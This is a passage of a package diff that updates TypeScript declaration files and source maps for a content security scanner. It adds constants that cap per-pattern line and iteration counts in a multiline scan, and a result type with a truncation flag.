B;IACpC,MAAM,CAAC,OAAO,iBAAU;IACxB,MAAM,CAAC,mBAAmB,6BAAsB;IAChD,MAAM,CAAC,SAAS,mBAAY;CAC7B;AAED,eAAe,eAAe,CAAA"}
+{"version":3,"file":"SecurityScanner.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAmB,UAAU,EAAE,cAAc,EAAqB,MAAM,YAAY,CAAA;AAUhG,OAAO,KAAK,EAAE,WAAW,EAAuB,MAAM,8BAA8B,CAAA;AACpF,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAEnB,MAAM,8BAA8B,CAAA;AAErC,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAA;AAEvD,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AAGpE,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAA;AAsC5D,OAAO,EACL,aAAa,EACb,OAAO,EACP,mBAAmB,EACnB,SAAS,EACV,MAAM,iCAAiC,CAAA;AAGxC,OAAO,EACL,WAAW,EACX,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,kBAAkB,EAClB,WAAW,GACZ,CAAA;AACD,OAAO,EAAE,gBAAgB,EAAE,CAAA;AAC3B,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,mBAAmB,EAAE,SAAS,EAAE,CAAA;AAEjE;;;;;;GAMG;AACH,eAAO,MAAM,4BAA4B,EAAE,SAAS,MAAM,EAEzD,CAAA;AAED,qBAAa,eAAe;IAC1B,OAAO,CAAC,cAAc,CAAa;IACnC,OAAO,CAAC,eAAe,CAAU;IACjC,OAAO,CAAC,gBAAgB,CAAQ;IAChC,OAAO,CAAC,aAAa,CAAQ;gBAEjB,OAAO,GAAE,cAAmB;IAOxC,OAAO,CAAC,eAAe;IAYvB,OAAO,CAAC,QAAQ;IAmBhB,OAAO,CAAC,qBAAqB;IAkB7B,OAAO,CAAC,sBAAsB;IA6D9B,OAAO,CAAC,4BAA4B;IAkBpC,0EAA0E;IAC1E,kBAAkB,4BAAqB;IAEvC;;;;;;;;;;;;;;;;;;;;;;;;;;;OA2BG;IACH,OAAO,CAAC,YAAY;IAsHpB;;;;;;;;;;;;;;;;;;OAkBG;IACH,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,iBAAiB,UAAQ,EAAE,UAAU,UAAO,GAAG,UAAU;IA0DhG;;;;OAIG;IACH,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO;IAOpC,gBAAgB,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI;IAItC,iBAAiB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI;IAKxC,MAAM,CAAC,aAAa,uBAAgB;IACpC,MAAM,CAAC,OAAO,iBAAU;IACxB,MAAM,CAAC,mBAAmB,6BAAsB;IAChD,MAAM,CAAC,SAAS,mBAAY;CAC7B;AAED,eAAe,eAAe,CAAA"}

package/dist/src/security/scanner/SecurityScanner.helpers.d.ts

@@ -61,6 +61,33 @@ export declare function isDocumentationContext(ctx: LineContext): boolean;
  * only content actually between backticks is considered inline code.
  */
 export declare function isWithinInlineCode(line: string, matchIndex: number): boolean;
+/**
+ * SMI-5879 (design §3.3.4): correctness ceiling on distinct lines recorded per
+ * pattern in the pass-1 full-content scan — score-neutral by proof (Lemma
+ * 3.3-B): once one pattern alone has pushed its category's raw subtotal past
+ * the per-category `Math.min(100, …)` cap, no further line from that SAME
+ * pattern can change the post-cap value. Derived floor:
+ * `ceil(100 / min_raw_per_finding)` where `min_raw_per_finding` is the
+ * smallest (severity × category-weight × confidence) reachable from the
+ * multiline pass — today an `ai_defence` `mention` in either context:
+ * `low(5) × 1.9 × low(0.3) = 2.85`, giving `ceil(100/2.85) = 36`. Set to 64
+ * (1.78x headroom over the derived floor) so a future weight change that
+ * lowers the minimum per-finding contribution doesn't immediately breach it;
+ * `scanner-multiline-cap.test.ts` recomputes the floor from the live weight
+ * tables and asserts this constant stays `>=` it.
+ */
+export declare const MAX_MULTILINE_LINES_PER_PATTERN = 64;
+/**
+ * SMI-5879 (design §3.3.3/3.3.6): wall-clock LIVENESS bound on a single
+ * pattern's pass-1 loop — NOT score-neutral (unlike the line cap above). A
+ * same-line repetition (e.g. 200 matches on one line) costs one iteration per
+ * match even though `seenLines` never grows past 1, so this bounds worst-case
+ * iteration count on a pathological same-line-repetition input. Binding marks
+ * the scan `multilineTruncated`; a truncated scan may only ever RAISE a
+ * verdict, never lower one (design §3.3.6) — enforced by the write path, not
+ * here.
+ */
+export declare const MAX_MULTILINE_ITERATIONS_PER_PATTERN = 10000;
 interface MultilineScanConfig {
     type: SecurityFindingType;
     messagePrefix: string;
@@ -95,6 +122,18 @@ interface MultilineScanConfig {
  *     `bestByLine` SEEDS pass 2 with pass 1's result instead of skipping the
  *     line outright, so pass 2 can still find something stronger.
  */
+export interface MultilineScanResult {
+    findings: SecurityFinding[];
+    /**
+     * SMI-5879 (design §3.3.6): true when at least one pattern's pass-1 loop
+     * hit MAX_MULTILINE_ITERATIONS_PER_PATTERN before exhausting its matches.
+     * NOT provably score-neutral (unlike the line cap) — a truncated scan may
+     * under-count. The write path must treat a truncated scan as authoritative
+     * for RAISING a verdict only, never for lowering one or clearing an
+     * existing quarantine.
+     */
+    truncated: boolean;
+}
 export declare function scanPatternsWithMultilineSupport(content: string, config: MultilineScanConfig, lineContexts?: LineContext[], 
 /**
  * SMI-5881: explicit cap (UTF-16 code units) for the pass-1 full-content
@@ -103,6 +142,6 @@ export declare function scanPatternsWithMultilineSupport(content: string, config
  * truncation finding it emits matches what actually gets scanned. Omitted
  * (undefined) falls back to safeRegexTest's own default.
  */
-maxLength?: number): SecurityFinding[];
+maxLength?: number): MultilineScanResult;
 export {};
 //# sourceMappingURL=SecurityScanner.helpers.d.ts.map

package/dist/src/security/scanner/SecurityScanner.helpers.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"SecurityScanner.helpers.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.helpers.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,mBAAmB,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA;AAapF;;GAEG;AACH,MAAM,WAAW,WAAW;IAC1B,UAAU,EAAE,MAAM,CAAA;IAClB,WAAW,EAAE,OAAO,CAAA;IACpB,OAAO,EAAE,OAAO,CAAA;IAChB,cAAc,EAAE,OAAO,CAAA;IACvB,YAAY,EAAE,OAAO,CAAA;IACrB;;;;;;OAMG;IACH,aAAa,EAAE,OAAO,CAAA;CACvB;AAMD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,sBAAsB,CAAC,OAAO,EAAE,MAAM,EAAE,UAAU,UAAO,GAAG,WAAW,EAAE,CA8ExF;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,WAAW,GAAG,OAAO,CAEhE;AAED;;;;GAIG;AACH,wBAAgB,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,GAAG,OAAO,CAW5E;AAMD,UAAU,mBAAmB;IAC3B,IAAI,EAAE,mBAAmB,CAAA;IACzB,aAAa,EAAE,MAAM,CAAA;IACrB,QAAQ,EAAE,MAAM,EAAE,CAAA;IAClB;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,YAAY,CAAA;CAC5C;AAUD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,gCAAgC,CAC9C,OAAO,EAAE,MAAM,EACf,MAAM,EAAE,mBAAmB,EAC3B,YAAY,CAAC,EAAE,WAAW,EAAE;AAC5B;;;;;;GAMG;AACH,SAAS,CAAC,EAAE,MAAM,GACjB,eAAe,EAAE,CAmGnB"}
+{"version":3,"file":"SecurityScanner.helpers.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.helpers.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,mBAAmB,EAAE,YAAY,EAAE,MAAM,YAAY,CAAA;AAapF;;GAEG;AACH,MAAM,WAAW,WAAW;IAC1B,UAAU,EAAE,MAAM,CAAA;IAClB,WAAW,EAAE,OAAO,CAAA;IACpB,OAAO,EAAE,OAAO,CAAA;IAChB,cAAc,EAAE,OAAO,CAAA;IACvB,YAAY,EAAE,OAAO,CAAA;IACrB;;;;;;OAMG;IACH,aAAa,EAAE,OAAO,CAAA;CACvB;AAMD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,wBAAgB,sBAAsB,CAAC,OAAO,EAAE,MAAM,EAAE,UAAU,UAAO,GAAG,WAAW,EAAE,CA8ExF;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,WAAW,GAAG,OAAO,CAEhE;AAED;;;;GAIG;AACH,wBAAgB,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,GAAG,OAAO,CAW5E;AAMD;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,+BAA+B,KAAK,CAAA;AAEjD;;;;;;;;;GASG;AACH,eAAO,MAAM,oCAAoC,QAAS,CAAA;AAE1D,UAAU,mBAAmB;IAC3B,IAAI,EAAE,mBAAmB,CAAA;IACzB,aAAa,EAAE,MAAM,CAAA;IACrB,QAAQ,EAAE,MAAM,EAAE,CAAA;IAClB;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,YAAY,CAAA;CAC5C;AAUD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,WAAW,mBAAmB;IAClC,QAAQ,EAAE,eAAe,EAAE,CAAA;IAC3B;;;;;;;OAOG;IACH,SAAS,EAAE,OAAO,CAAA;CACnB;AAED,wBAAgB,gCAAgC,CAC9C,OAAO,EAAE,MAAM,EACf,MAAM,EAAE,mBAAmB,EAC3B,YAAY,CAAC,EAAE,WAAW,EAAE;AAC5B;;;;;;GAMG;AACH,SAAS,CAAC,EAAE,MAAM,GACjB,mBAAmB,CAsIrB"}